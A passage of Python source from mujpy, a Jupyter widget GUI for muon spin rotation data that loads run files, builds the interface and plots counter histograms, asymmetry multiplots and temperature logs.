self.dt0 = np.zeros(self._the_runs_[0][0].get_numberHisto_int(),dtype=float)
for j in range(self._the_runs_[0][0].get_numberHisto_int()):
self.nt0[j] = np.where(self._the_runs_[0][0].get_histo_array_int(j)==
self._the_runs_[0][0].get_histo_array_int(j).max())[0][0]
# self.nt0 exists
self.title.value = get_title(self._the_runs_[0][0])
self.comment.value = self._the_runs_[0][0].get_comment()
self.start_date.value = self._the_runs_[0][0].get_timeStart_vector()
self.stop_date.value = self._the_runs_[0][0].get_timeStop_vector()
self._the_runs_display.value = str(self.load_handle.value)
# but if it is not compatible with present first run issue warning
if len(self.nt0)!=self._the_runs_[0][0].get_numberHisto_int(): # reset nt0,dt0
self.nt0 = np.zeros(self._the_runs_[0][0].get_numberHisto_int(),dtype=int)
self.dt0 = np.zeros(self._the_runs_[0][0].get_numberHisto_int(),dtype=float)
for j in range(self._the_runs_[0][0].get_numberHisto_int()):
self.nt0[j] = np.where(self._the_runs_[0][0].get_histo_array_int(j)==
self._the_runs_[0][0].get_histo_array_int(j).max())[0][0]
self.console('WARNING! Run {} mismatch in number of counters, rerun prompt fit'.format(self._the_runs_[0][0].get_runNumber_int()))
# store max available bins on all histos
self.histoLength = self._the_runs_[0][0].get_histoLength_bin() - self.nt0.max() - self.offset.value
self.counternumber.value = ' {} counters per run'.format(self._the_runs_[0][0].get_numberHisto_int())
self.plot_range0 = '0,{},100'.format(self.histoLength)
self.multiplot_range.value = self.plot_range0
if self.plot_range.value == '':
self.plot_range.value = self.plot_range0
if self.fit_range.value == '':
self.fit_range.value = self.plot_range0
npk = float(self.nt0.sum())/float(self.nt0.shape[0])
self.bin_range0 = '{},{}'.format(int(0.9*npk),int(1.1*npk))
self.counterplot_range.value = self.bin_range0
else: # k > 0
self._single_ = False
ok = [self._the_runs_[k][0].get_numberHisto_int() == self._the_runs_[0][0].get_numberHisto_int(),
self._the_runs_[k][0].get_binWidth_ns() == self._the_runs_[0][0].get_binWidth_ns()]
if not all(ok):
self._the_runs_=[self._the_runs_[0]] # leave just the first one
self.console('\nFile {} has wrong histoNumber or binWidth'.format(path_and_filename))
return -1 # this leaves the first run of the suite
TdT = value_error(*t_value_error(k))
self.tlog_accordion.children[0].value += '{}: '.format(self._the_runs_[k][0].get_runNumber_int())+TdT+' K\n'
# print('3-run_headers')
return 0
def check_next():
'''
Checks if next run file exists
'''
import os
from mujpy.aux.aux import muzeropad
runstr = str(self.nrun[0] +1)
if len(runstr)>4:
self.console('Too long run number!')
next_label.value = ''
else:
filename = ''
filename = filename.join([self.filespecs[0].value,
muzeropad(runstr),
'.',self.filespecs[1].value])
# data path + filespec + padded run rumber + extension)
next_label.value = runstr if os.path.exists(os.path.join(self.paths[0].value,filename)) else ''
def check_runs(k):
'''
Checks nt0, etc.
Returns -1 with warnings
for severe incompatibility
Otherwise calls run_headers to store and display
title, comments, T, dT, histoLength [,self._single]
'''
from copy import deepcopy
from dateutil.parser import parse as dparse
import datetime
if self.nt0_run: # either freshly produced or loaded from load_setup
nt0_experiment = deepcopy(self.nt0_run) # needed to preserve the original from the pops
nt0_experiment.pop('nrun')
nt0_days = dparse(nt0_experiment.pop('date'))
try:
this_experiment = self.create_rundict(k) # disposable, no deepcopy, for len(runadd)>1 check they are all compatible
# print('check - {}'.format(self._the_runs_[k][0].get_runNumber_int()))
rn = this_experiment.pop('nrun') # if there was an error with files to add in create_rundict this will fail
except:
self.console('\nRun {} not added. Non existent or incompatible'.format(this_experiment('errmsg')))
return -1 # this leaves the previous loaded runs n the suite
this_date = this_experiment.pop('date') # no errors with add, pop date then
dday = abs((dparse(this_date)-nt0_days).total_seconds())
if nt0_experiment != this_experiment or abs(dday) > datetime.timedelta(7,0).total_seconds(): # runs must have same binwidth etc. and must be within a week
self.console('Warning: mismatch in histo length/time bin/instrument/date\nConsider refitting prompt peaks (in setup)')
# print('2-check_runs, {} loaded '.format(rn))
return run_headers(k)
def add_runs(k,runs):
'''
Tries to load one or more runs to be added together
by means of murs2py.
runs is a list of strings containing integer run numbers provided by aux.derun
Returns -1 and quits if musr2py complains
If not invokes check_runs an returns its code
'''
import os
from mujpy.musr2py.musr2py import musr2py as muload
from mujpy.aux.aux import muzeropad
read_ok = 0
runadd = []
options = self.choose_tlogrun.options.copy() # existing dict (initialized to empty dict on dropdown creation)
for j,run in enumerate(runs): # run is a string containing a single run number
if len(run)>4:
self.console('Too long run number! {}'.format(run))
read_ok = 99
break
else:
filename = ''
filename = filename.join([self.filespecs[0].value,
muzeropad(str(run)),
'.',self.filespecs[1].value])
path_and_filename = os.path.join(self.paths[0].value,filename)
# data path + filespec + padded run rumber + extension)
if os.path.exists(os.path.join(self.paths[0].value,filename)):
runadd.append(muload()) # this adds to the list in j-th position a new instance of muload()
read_ok += runadd[j].read(path_and_filename) # THE RUN DATA FILE IS LOADED HERE
if read_ok==0:
self.console('Run {} loaded'.format(path_and_filename))
# print('tlog dropdown position {} run {}'.format(str(j),str(run)))
options.update({str(run):str(run)})
# adds this run to the tlog display dropdown,
# on_loads_changed checks that tlog exists before value selection
else:
self.console('\nRun: {} does not exist'.format(run))
return -1
if read_ok==0: # no error condition, set by musr2py.cpp or
self.choose_tlogrun.options = options
# ('self.choose_tlogrun.options = {}'.format(options))
self._the_runs_.append(runadd) #
self.nrun.append(runadd[0].get_runNumber_int())
else:
try:
self.console('\nFile {} not read. Check paths, filespecs and run rumber on setup tab'.format(path_and_filename))
except:
pass
return -1 # this leaves the previous loaded runs n the suite
return check_runs(k)
def on_load_nxt(b):
'''
load next run (if it exists)
'''
if self._single_:
# print('self.nrun[0] = {}'.format(self.nrun[0]))
self.load_handle.value=str(self.nrun[0]+1)
# print('self.nrun[0] = {}'.format(self.nrun[0]))
else:
self.console('Cannot load next run (multiple runs loaded)')
return -1 # this leaves the multiple runs of the suite
def on_load_prv(b):
'''
load previous run (if it exists)
'''
if self._single_:
self.load_handle.value=str(self.nrun[0]-1)
else:
self.console('Cannot load previous run (multiple runs loaded)')
return -1 # this leaves the multple runs of the suite
def on_add_nxt(b):
'''
add next run (if it exists)
'''
if self._single_:
load_single(self.nrun[0]+1)
self.get_totals()
else:
self.console('Cannot add next run (multiple runs loaded)')
return -1 # this leaves the multiple loaded runs of the suite
def on_add_prv(b):
'''
add previous run (if it exists)
'''
if self._single_:
load_single(self.nrun[0]-1)
self.get_totals()
else:
self.console('Cannot add previous run (multiple runs loaded)')
return -1 # this leaves the multiple loaded runs of the suite
def on_load_file(b):
'''
loads data from GUI and calls on loads_changed
'''
from mujpy.aux.aux import path_file_dialog, get_run_number_from
filename = path_file_dialog(self.paths[0].value,self.filespecs[1].value)
if filename != '': # if empty, no choice made, nothing should happen
run = get_run_number_from(filename,[self.filespecs[0].value,self.filespecs[1].value]) # path_file_dialog returns the full path and filename
if run =='-1':
self.console('Path = {}, filespecs = {}, {}'.format(p,f[0],f[1]))
else:
self.load_handle.value = run
# self.console('Read {}'.format(self.load_handle.value))
#on_loads_changed('value')
def on_loads_changed(change):
'''
observe response of suite tab widgets:
load a run via musrpy
single run and run suite unified in a list
clears run suite
loads run using derun parsing of a string
csv, n:m for range of runs
[implement n+m+... for run addition]
sets _single_ to True if single
plan: derun must recognize '+', e.g.
'2277:2280,2281+2282,2283:2284'
and produce
run = [['2277'],['2278'],['2279'],['2280'],['2281','2282'],['2283'],['2284']]
Then the loop must subloop on len(run) to recreate the same list structure in self._the_runs_
and all occurencies of self._the_runs_ must test to add data from len(self._the_runs_[k])>1
check also asymmetry, create_rundict, write_csv, get_totals, promptfit, on_multiplot
'''
from mujpy.aux.aux import derun, tlog_exists
# rm: run_or_runs = change['owner'].description # description is either 'Single run' or 'Run suite'
if self.load_handle.value=='': # either an accitental empty text return, or reset due to derun error
return
self._single_ = True
self._the_runs_ = [] # it will be a list of muload() runs
self.nrun = [] # it will contain run numbers (the first in case of run add)
self.tlog_accordion.children[0].value=''
#######################
# decode the run string
#######################
runs, errormessage = derun(self.load_handle.value) # runs is a list of lists of run numbers (string)
if errormessage is not None: # derun error
self.console('Run syntax error: {}. You typed: {}'.format(errormessage,self.load_handle.value))
self.load_handle.value=''
return
##################################
# load a single run or a run suite
##################################
read_ok = 0
for k,runs_add in enumerate(runs):# rs can be a list of run numbers (string) to add
read_ok += add_runs(k,runs_add)
# print('on_loads_change, inside loop, runs {}'.format(self._the_runs_))
if read_ok !=0:
return
# if read_ok == 0:
self.choose_nrun.options = [str(n) for n in self.nrun]
self.choose_nrun.value = str(self.nrun[0])
options = self.choose_tlogrun.options.copy()
runs = list(self.choose_tlogrun.options.keys())
# scheme for popping items from list without altering index count
kk = 0
for run in runs: # use original to iterate
if not tlog_exists(self.paths[1].value,run): # loading tlogs is optional
options.pop(run) # pop runs that do not have a tlog file
self.choose_tlogrun.options = options
try:
self.choose_tlogrun.value = str((sorted(list(options.keys())))[0])
except:
if self.newtlogdir:
self.console("No tlogs")
self.newtlogdir = False
self.get_totals() # sets totalcounts, groupcounts and nsbin
# self.console('nextnext check next, self_single_ = {}'.format(self._single_))
if self._single_:
# self.console('next check next')
check_next()
if not self.nt0_run:
self.console('WARNING: you must fix t0 = 0, please do a prompt fit from the setup tab')
def t_value_error(k):
'''
calculates T and eT values also for runs to be added
silliy, but it works also for single run
'''
from numpy import sqrt
m = len(self._the_runs_[k])
weight = [float(sum(self._the_runs_[k][j].get_histo_array_int(2))) for j in range(m)]
weight = [w/sum(weight) for k,w in enumerate(weight)]
t_value = sum([self._the_runs_[k][j].get_temperatures_vector()[self.thermo]*weight[j] for j in range(m)])
t_error = sqrt(sum([(self._the_runs_[k][j].get_devTemperatures_vector()[self.thermo]*weight[j])**2 for j in range(m)]))
return t_value, t_error
from ipywidgets import Image, Text, Layout, HBox, Output, VBox, Tab
from ipywidgets import Button, Label
import os
file = open(os.path.join(self.__logopath__,"logo.png"), "rb")
image = file.read()
logo = Image(value=image,format='png',width=132,height=132)
######################
mujpy_width = '980px'# '70%' #
######################
width = '100%'
#----------------- firstrow
self.maxbin = Text(description='Bins',
layout=Layout(width='12%'),
disabled=True) # 12%
self.maxbin.style.description_width = '30%'
self.comment = Text(description='Comment',
layout=Layout(width='70%'),
disabled=True) # 82%
self.comment.style.description_width = '10%'
self.nsbin = Text(description='ns/bin',
layout=Layout(width='18%'),
disabled=True) # 100%
self.nsbin.style.description_width = '40%'
#----------------- secondtrow
self._the_runs_display = Text(description='#',
description_tooltip='Run number',
value='none',
layout=Layout(width='12%'),
disabled=True) # 12%
self._the_runs_display.style.description_width = '30%'
self.title = Text(description='Title',
value='none yet',
layout=Layout(width='48%'),
disabled=True) # 60%
self.title.style.description_width = '14.5%'
self.totalcounts = Text(value='0',
description='Total counts',
layout=Layout(width='20%'),
disabled=True) # 80%
self.groupcounts = Text(value='0',
description='Group counts',
layout=Layout(width='20%'),
disabled=True) # 100%
#----------------- thirdrow
self.start_date = Text(description='Start date',
layout=Layout(width='28%'),
disabled=True) # 28%
self.start_date.style.description_width = '33%'
self.stop_date = Text(description='Stop date',
layout=Layout(width='28%'),
disabled=True) # 56%
self.stop_date.style.description_width = '33%'
empty = Label(layout=Layout(width='8.5%')) # 66%
Ap_button = Button(description='<Add',
tooltip='Add previous run\n(refers Last +\nor to #)',
layout=Layout(width='8%')) # 74%
Ap_button.on_click(on_add_prv)
Ap_button.style.button_color = self.button_color
last_add = Text(description='Last +',
description_tooltip='Last added run',
disabled=True,
layout=Layout(width='18%')) # 92%
last_add.style.description_width = '27%'
An_button = Button(description='Add>',
tooltip='Add next run\n(refers Last +\nor to #)',
layout=Layout(width='8%')) # 100%
An_button.on_click(on_add_nxt)
An_button.style.button_color = self.button_color
# 100%
#------------------- fourthrow
small = Label(layout=Layout(width='3.6%')) # 4%
Ld_button = Button(description='Load',
tooltip='Opens a run file GUI\nin the data path (see setup tab)',
layout=Layout(width='8%')) # 12%
Ld_button.style.button_color = self.button_color
Ld_button.on_click(on_load_file)
self.load_handle = Text(description='Run:',
description_tooltip='Single run\ne.g. 431\nor run suites\ne.g. 431, 435:439\n or 431, 443+444',
layout=Layout(width='54%'),
continuous_update=False) # 66%
self.load_handle.style.description_width='11%'
self.load_handle.observe(on_loads_changed,'value')
Lp_button = Button(description='<Load',
tooltip='Loads previous run\n(if it exists)',
layout=Layout(width='8%')) # 74%
Lp_button.on_click(on_load_prv)
Lp_button.style.button_color = self.button_color
Ln_button = Button(description='Load>',
tooltip='Loads Next # run\n(if it exists)',
layout=Layout(width='8%')) # 82%
Ln_button.on_click(on_load_nxt)
Ln_button.style.button_color = self.button_color
next_label = Text(description='Next #',
description_tooltip='Next run to load',
disabled=True,
layout=Layout(width='18%')) # 100%
next_label.style.description_width = '30%'
firstrow = HBox(layout=Layout(width=width))
firstrow.children = [self.maxbin, self.comment, self.nsbin]
secondrow = HBox(layout=Layout(width=width))
secondrow.children = [self._the_runs_display, self.title, self.totalcounts, self.groupcounts]
thirdrow = HBox(layout=Layout(width=width))
thirdrow.children = [self.start_date, self.stop_date, empty, Ap_button, last_add, An_button, ]
fourthrow = HBox(layout=Layout(width=width))
fourthrow.children = [small, Ld_button, self.load_handle,
Lp_button, Ln_button, next_label]
titlewindow = VBox(layout=Layout(width='100%'))
titlewindow.children = [firstrow, secondrow, thirdrow, fourthrow]
titlelogowindow = HBox(layout=Layout(width=mujpy_width))
titlelogowindow.children = [logo, titlewindow]
# main layout: tabs
if self._output_==self._outputtab_:
tabs_contents = ['fit', 'fft','setup', 'plots', 'output', 'about']# 'suite',
else:
tabs_contents = [ 'fit', 'fft','setup', 'plots', 'about']# 'suite',
tabs = [VBox(description=name,layout=Layout(border='2px solid dodgerblue')) for name in tabs_contents]
self.mainwindow = Tab(children = tabs,layout=Layout(width=mujpy_width,border='2px solid dodgerblue'))#
self.mainwindow.selected_index = 2 # to stipulate that the first display is on tab 2, setup
for i in range(len(tabs_contents)):
self.mainwindow.set_title(i, tabs_contents[i])
# Araba.Phoenix:
self.gui = VBox(description='whole',layout=Layout(width='auto'))
self.gui.children = [titlelogowindow, self.mainwindow]
# This is the ex-suite tab to select run or suite of runs (for sequential or global fits)
# moved to titlewindow thirdrow, an HBox containing various run load methods ['Single run','Run suite']
##########################
# OUTPUT
##########################
def output(self):
'''
create an Output in terminal,
or in widget in sixth tab, if needed
select by
self.mainwindow.selected_index = 5
'''
import os
import platform
import datetime
import locale
from shutil import which
from subprocess import Popen, PIPE
from ipywidgets import Output, HBox, Layout
# Output(layout={'height': '100px', 'overflow_y': 'auto', 'overflow_x': 'auto'})
self._output_=''
if platform.system()=='Linux':
terminal = ''
if which('gnome-terminal') is not None:
terminal = 'gnome-terminal' # works on Ubuntu
# if which('x-terminal-emulator') is not None:
# terminal = 'x-terminal-emulator' # works on Debian, Ubuntu
if terminal:
self._output_ = "/tmp/mujpy_pipe"
if not os.path.exists(self._output_):
os.mkfifo(self._output_)
else:
os.unlink(self._output_)
os.mkfifo(self._output_)
# should write: 'gnome-terminal --title "mujpy console" -- bash -c "tail -f "'+self._output_
# this is to open the xterm mujpy console on linux
term_title = 'mujpy console - '+datetime.datetime.today().strftime(locale.nl_langinfo(locale.D_T_FMT))
xterm = Popen([terminal,'--title',term_title,'shell=False','-e','tail -f %s' % self._output_])
# xterm opens a terminal and executes tail -f on the open pipe self._output_
self._outputtab_=[] # for Linux with terminal, if self._output_==self._outputtab_:
# Linux no terminal is redirected to tab 5 as other OSs
elif platform.system()=='Windows': # put here also a cmd output option
# this Windows and the Mac part bust be still checked
# xterm = Popen(["cmd.exe","/k"],stdout=PIPE,stderr=PIPE)
pass
elif platform.system()=='Darwin': # put here also a xterm option
# xterm = Popen(['open', '-a', 'Terminal', '-n'],stdout=PIPE,stderr=PIPE)
pass
if not self._output_:
self._outputtab_ = Output(layout={'height': '300px','width':'auto','overflow_y':'auto','overflow_x':'auto'})
_output_box = HBox([self._outputtab_],layout=Layout(width='100%')) # x works y does scroll
self._park_ = [_output_box]
# add the list of widget handles as the last tab, output
self._output_ = self._outputtab_ # all in the tab
self.console(''.join(['*****************************************************\n',
'* The output of mujpy is displayed here. Watch out! *\n',
'* DO NOT CLOSE! *\n',
'*****************************************************\n']))
################
# PLOTS
################
def plots(self):
'''
tlog plot
multi plot (if not _single_)
'''
def on_counter(b):
'''
check syntax of counter_range
'''
from mujpy.aux.aux import get_grouping
from numpy import array
# abuse of get_grouping: same syntax here
if counter_range.value == '':
return
counters = get_grouping(counter_range.value)
ok = 0
for k in range(counters.shape[0]):
if counters[k]<0 or counters[k]>=self._the_runs_[0][0].get_numberHisto_int():
# print('k = {}, counters[k] = {}, numberHisto = {}'.format(k,counters[k],self._the_runs_[0][0].get_numberHisto_int()))
ok = -1
if counters[0] == -1 or ok == -1:
#print('Wrong counter syntax or counters out of range: {}'.format(counter_range.value))
self.console('Wrong counter syntax or counters out of range: {}'.format(counter_range.value))
counter_range.value = ''
counters = array([])
def on_counterplot(b):
'''
COUNTERPLOT:
produce plot
'''
from numpy import zeros, arange
from mujpy.aux.aux import get_grouping, derange
import matplotlib.pyplot as P
font = {'family':'Ubuntu','size':8}
P.rc('font', **font)
dpi = 100.
if not self._the_runs_:
self.console('No run loaded yet! Load one first (select suite tab).')
############
# bin range
############
returntup = derange(self.counterplot_range.value,self.histoLength) #
start, stop = returntup
# abuse of get_grouping: same syntax here
counters = get_grouping(counter_range.value) # already tested
# now counters is an np.array of counter indices
#############
# load histos
#############
histo = zeros((self._the_runs_[0][0].get_numberHisto_int(),stop-start),dtype=int)
bins = arange(start,stop,dtype=int)
# 4x4, 3x3 or 2x3 counters
ncounters = counters.shape[0] # self.numberHisto
screen_x, screen_y = P.get_current_fig_manager().window.wm_maxsize() # screen size in pixels
y_maxinch = float(screen_y)/dpi -0.5 # maximum y size in inches, 1 inch for window decorations
fx, f, f1 = 1., 4./5., 16./25. # fraction of screen for
if ncounters > 9:
nrows,ncols = 4,4
x,y = fx*y_maxinch, y_maxinch
elif ncounters > 6:
nrows,ncols = 3,3
x,y = fx*y_maxinch*f, y_maxinch*f
elif ncounters > 4:
nrows,ncols = 2,3
x,y = fx*y_maxinch*f, y_maxinch*f1
elif ncounters > 1:
nrows,ncols = 2,2
x,y = fx*y_maxinch*f1, y_maxinch*f1
else:
nrows,ncols = 1,1
##############################
# set or recover figure, axes
##############################
if self.fig_counters:
self.fig_counters.clf()
self.fig_counters,self.ax_counters = P.subplots(nrows,ncols,figsize=(x,y),num=self.fig_counters.number)
else:
# residual problem: when this is the first pyplot window a Figure 1 is opened that nobody ordered
self.fig_counters,self.ax_counters = P.subplots(num=10,nrows=nrows,ncols=ncols,figsize=(x,y),dpi=dpi,squeeze=False)
self.fig_counters.subplots_adjust(hspace=0.1,top=0.95,bottom=0.11,right=0.98,wspace=0.28)
self.fig_counters.canvas.set_window_title('Counters')
nplots = nrows*ncols
for kk,nrun in enumerate(self.nrun):
if nrun==int(self.choose_nrun.value):
this_run = kk # if not single selects which run to plot counters for
for k in range(nplots):
if k < counters.shape[0]:
counter = counters[k] # already an index 0:n-1
for run in self._the_runs_[this_run]: # allow for add runs
histo[counter] += run.get_histo_array_int(counter)[start:stop]
ymax = histo[counter].max()
if stop-start<100:
self.ax_counters[divmod(counter,ncols)].bar(bins,histo[counter,:],edgecolor='k',color='silver',alpha=0.7,lw=0.7)
else:
self.ax_counters[divmod(counter,ncols)].plot(bins,histo[counter,:],'k-',lw=0.7)
if divmod(counter,ncols)[0]==counters.shape[0]/ncols-1:
self.ax_counters[divmod(counter,ncols)].set_xlabel('bins')
# does not print
if divmod(counter,ncols)[1]==0:
self.ax_counters[divmod(counter,ncols)].set_ylabel('counts')
self.ax_counters[divmod(counter,ncols)].text(start+(stop-start)*0.9, ymax*0.9,'# '+str(counter+1)) # from index to label
else:
self.ax_counters[divmod(k,ncols)].cla()
self.ax_counters[divmod(k,ncols)].axis('off')
self.fig_counters.canvas.manager.window.tkraise()
P.draw()
def on_multiplot(b):
'''
MULTIPLOT:
produce plot
'''
import matplotlib.pyplot as P
from numpy import array
from mujpy.aux.aux import derange, rebin, get_title
import matplotlib.animation as animation
###################
# PYPLOT ANIMATIONS
###################
def animate(i):
'''
anim function
update multiplot data and its color
'''
line.set_ydata(asymm[i])
line.set_color(color[i])
self.ax_multiplot.set_title(str(self.nrun[i])+': '+get_title(self._the_runs_[0][0]))
return line,
def init():
'''
anim init function
to give a clean slate
'''
line.set_ydata(asymm[0])
line.set_color(color[0])
self.ax_multiplot.set_title(str(self.nrun[0])+': '+get_title(self._the_runs_[0][0]))
return line,
dpi = 100.
############
# bin range
############
returntup = derange(self.multiplot_range.value,self.histoLength) #
pack = 1
if len(returntup)==3: # plot start stop packearly last packlate
start, stop, pack = returntup
else:
start, stop = returntup
####################
# load and rebin
# time,asymm are 2D arrays,
# e.g. time.shape = (1,25000),
# asymm.shape = (nruns,25000)
###################
self.asymmetry() # prepare asymmetry
time,asymm = rebin(self.time,self.asymm,[start,stop],pack)
nruns,nbins = asymm.shape
#print('start, stop, pack = {},{},{}'.format(start,stop,pack))
#print('shape time {}, asymm {}'.format(time.shape,asymm.shape))
y = 4. # normal y size in inches
x = 6. # normal x size in inches
my = 12. # try not to go beyond 12 run plots
##############################
# set or recover figure, axes
##############################
if self.fig_multiplot:
self.fig_multiplot.clf()
self.fig_multiplot,self.ax_multiplot = P.subplots(figsize=(x,y),num=self.fig_multiplot.number)
else:
self.fig_multiplot,self.ax_multiplot = P.subplots(figsize=(x,y),dpi=dpi)
self.fig_multiplot.canvas.set_window_title('Multiplot')
screen_x, screen_y = P.get_current_fig_manager().window.wm_maxsize() # screen size in pixels
y_maxinch = float(screen_y)/float(self.fig_multiplot.dpi) # maximum y size in inches
########## note that "inches" are conventional, dince they depend on the display pitch
# print('your display is y_maxinch = {:.2f} inches'.format(y_maxinch))
########## XPS 13 is 10.5 "inches" high @160 ppi (cfr. conventional self.fig_multiplot.dpi = 100)
bars = 1. # overhead y size(inches) for three bars (tools, window and icons)
dy = 0. if anim_check.value else (y_maxinch-y-1)/my # extra y size per run plot
y = y + nruns*dy if nruns < 12 else y + 12*dy # size, does not dilate for anim
# self.fig_multiplot.set_size_inches(x,y, forward=True)
##########################
# plot data and fit curve
##########################
color = []
for run in range(nruns):
color.append(next(self.ax_multiplot._get_lines.prop_cycler)['color'])
if anim_check.value and not self._single_:
#############
# animation
#############
##############
# initial plot
##############
ylow, yhigh = asymm.min()*1.02, asymm.max()*1.02
line, = self.ax_multiplot.plot(time[0],asymm[0],'o-',ms=2,lw=0.5,color=color[0],alpha=0.5,zorder=1)
self.ax_multiplot.set_title(str(self.nrun[0])+': '+get_title(self._the_runs_[0][0]))
self.ax_multiplot.plot([time[0,0],time[0,-1]],[0,0],'k-',lw=0.5,alpha=0.3)
self.ax_multiplot.set_xlim(time[0,0],time[0,-1])
self.ax_multiplot.set_ylim(ylow,yhigh)
self.ax_multiplot.set_ylabel('Asymmetry')
self.ax_multiplot.set_xlabel(r'time [$\mu$s]')
#######
# anim
#######
self.anim_multiplot = animation.FuncAnimation(self.fig_multiplot, animate, nruns, init_func=init,
interval=anim_delay.value, blit=False)
###############################
# tiles with offset
###############################
else:
aoffset = asymm.max()*float(multiplot_offset.value)*array([[run] for run in range(nruns)])
asymm = asymm + aoffset # exploits numpy broadcasting
ylow,yhigh = min([0,asymm.min()+0.01]),asymm.max()+0.01
for run in range(nruns):
self.ax_multiplot.plot(time[0],asymm[run],'o-',lw=0.5,ms=2,alpha=0.5,color=color[run],zorder=1)
self.ax_multiplot.plot([time[0,0],time[0,-1]],
[aoffset[run],aoffset[run]],'k-',lw=0.5,alpha=0.3,zorder=0)
self.ax_multiplot.text(time[0,-1]*1.025,aoffset[run],self._the_runs_[run][0].get_runNumber_int())
self.ax_multiplot.set_title(get_title(self._the_runs_[0][0]))
self.ax_multiplot.set_xlim(time[0,0],time[0,-1]*9./8.)
self.ax_multiplot.set_ylim(ylow,yhigh)
# print('axis = [{},{},{},{}]'.format(time[0,0],time[0,-1]*9./8.,ylow,yhigh))
self.ax_multiplot.set_ylabel('Asymmetry')
self.ax_multiplot.set_xlabel(r'time [$\mu$s]')
# self.fig_multiplot.tight_layout()
self.fig_multiplot.canvas.manager.window.tkraise()
P.draw()
def on_range(change):
'''
observe response of MULTIPLOT range widgets:
check for validity of function syntax
on_range (PLOTS, FIT, FFT) perhaps made universal and moved to aux
'''
from mujpy.aux.aux import derange
# change['owner'].description
if change['owner'].description[0:2] == 'fft':
fmax = 0.5/(self.time[0,1]-self.time[0,0])
returnedtup = derange(change['owner'].value,fmax,int_or_float='float')
else:
returnedtup = derange(change['owner'].value,self.histoLength) # errors return (-1,-1),(-1,0),(0,-1), good values are all positive
if sum(returnedtup)<0:
change['owner'].background_color = "mistyrose"
if change['owner'].description[0:3] == 'plot':
change['owner'].value = self.plot_range0
else:
change['owner'].value = self.bin_range0
else:
change['owner'].background_color = "white"
if returnedtup[1]>self.histoLength:
change['owner'].value=str(returnedtup[0],self.histoLength) if len(returnedtup)==2 else str(returnedtup[0],self.histoLength,returnedtup[2])
def on_nexttlog(b):
'''
select next run tlog
'''
runs = list(self.choose_tlogrun.options.keys())
runs = sorted([int(run) for run in runs])
runindex = self.choose_tlogrun.index
if runindex < len(runs):
self.choose_tlogrun.value = str(runs[runindex+1])
on_tlogdisplay([])
def on_prevtlog(b):
'''
select prev run tlog
'''
runs = list(self.choose_tlogrun.options.keys())
runs = sorted([int(run) for run in runs])
runindex = self.choose_tlogrun.index
if runindex > 0:
self.choose_tlogrun.value = str(runs[runindex-1])
on_tlogdisplay([])
def on_start_stop(change):
if anim_check.value:
if change['new']:
self.anim_multiplot.event_source.start()
anim_step.style.button_color = self.button_color_off
anim_step.disabled=True
else:
self.anim_multiplot.event_source.stop()
anim_step.style.button_color = self.button_color
anim_step.disabled=False
def on_step(b):
'''
step when stop animate
'''
if not anim_step.disabled:
self.anim_multiplot.event_source.start()
def on_tlogdisplay(b):
'''
display a PSI tlog if the files exist
'''
import os
import matplotlib.pyplot as P
from mujpy.aux.aux import muzeropad
from numpy import array, mean, std
import csv
from matplotlib.dates import HourLocator, MinuteLocator, DateFormatter
import datetime
from datetime import datetime as d
################
# load tlog file
################
if not self._the_runs_:
self.console('Cannot plot temperatures: first load the runs!')
return
pathfile = os.path.join(self.paths[1].value,'run_'+muzeropad(self.choose_tlogrun.value)+'.mon')
with open(pathfile,'r') as f:
reader=csv.reader(f)
header, t, T1,T2,pause,go = [],[],[],[],[],[]
for k in range(9):
header.append(next(reader))
# print(header[7][0][2:22])
starttime = header[7][0][2:22]
start = d.strptime(starttime, "%d-%b-%Y %H:%M:%S")
# print(start)
for row in reader:
# print(row)
if row[0][0]!='!':
row = row[0].split('\\')
stop = d.strptime(row[0], "%H:%M:%S")
row = row[2].split()
T1.append(float(row[0]))
T2.append(float(row[1]))
# print('record = {}, stop = {}'.format(row[0][0:8],stop.time()))
time = stop.time()
t.append(time.hour*60.+time.minute+time.second/60.)
# print('{}'.format(t))
else:
# print(row)
if row[0][24:29]=='Paused':
pause.append(d.strptime(row[0][2:22], "%d-%b-%Y %H:%M:%S"))
else:
go.append(d.strptime(row[0][2:22], "%d-%b-%Y %H:%M:%S"))
##############################
# set or recover figure, axes
##############################
try:
if self.fig_tlog:
self.fig_tlog.clf()
self.fig_tlog,self.ax_tlog = P.subplots(num=self.fig_tlog.number)
except:
self.fig_tlog,self.ax_tlog = P.subplots()
self.fig_tlog.canvas.set_window_title('Tlogger')
T1,T2 = array(T1), array(T2)
self.ax_tlog.plot(t,T1,'r-',label=r'$T_{\rm diff}$')
self.ax_tlog.plot(t,T2,'b-',label=r'$T_{\rm sample}$')
tlim,Tlim = self.ax_tlog.get_xlim(), self.ax_tlog.get_ylim()
T1ave, T1std, T2ave, T2std = mean(T1),std(T1),mean(T2),std(T2)
self.ax_tlog.plot(tlim,[T1ave, T1ave],'r-',lw=0.5,alpha=0.8,label=r'$\langle T_{\rm diff}\rangle$')
self.ax_tlog.fill_between(tlim, [T1ave-T1std,T1ave-T1std ],[T1ave, T1ave],facecolor='r',alpha=0.2)
self.ax_tlog.fill_between(tlim, [T1ave+T1std,T1ave+T1std ],[T1ave, T1ave],facecolor='r',alpha=0.2)
self.ax_tlog.plot(tlim,[T2ave, T2ave],'b-',lw=0.5,alpha=0.8,label=r'$\langle T_{\rm sample}\rangle$')
self.ax_tlog.fill_between(tlim, [T2ave-T2std,T2ave-T2std ],[T2ave, T2ave],facecolor='b',alpha=0.2)
self.ax_tlog.fill_between(tlim, [T2ave+T2std,T2ave+T2std ],[T2ave, T2ave],facecolor='b',alpha=0.2)
self.ax_tlog.set_title('Run '+self.choose_tlogrun.value+' started at '+starttime)
self.ax_tlog.set_xlabel('time [min]')
self.ax_tlog.set_ylabel('T [k]')
self.ax_tlog.legend()
if Tlim[1]-Tlim[0] < 1.:
T0 = (Tlim[0]+Tlim[1])/2
self.ax_tlog.set_ylim(T0-1.,T0+0.5)
y1,y2 = self.ax_tlog.get_ylim()
for x1,x2 in zip(pause,go):
self.ax_tlog.fill_between([x1,x2], [y1,y1 ],[y2,y2],facecolor='k',alpha=0.5)
self.ax_tlog.text(x1*0.9+x2*0.1,y1*0.9+y2*0.1,'PAUSE',color='w')
self.fig_tlog.canvas.manager.window.tkraise()
P.draw()
from ipywidgets import HBox, VBox, Button, Text, Textarea, Accordion, Layout, Checkbox, IntText, ToggleButton, Label, Dropdown
###########
# multiplot
###########
multiplot_button = Button(description='Multiplot',layout=Layout(width='10%'))
multiplot_button.on_click(on_multiplot)
multiplot_button.style.button_color = self.button_color
anim_check = Checkbox(description='Animate',value=False, layout=Layout(width='10%'))
anim_check.style.description_width = '1%'
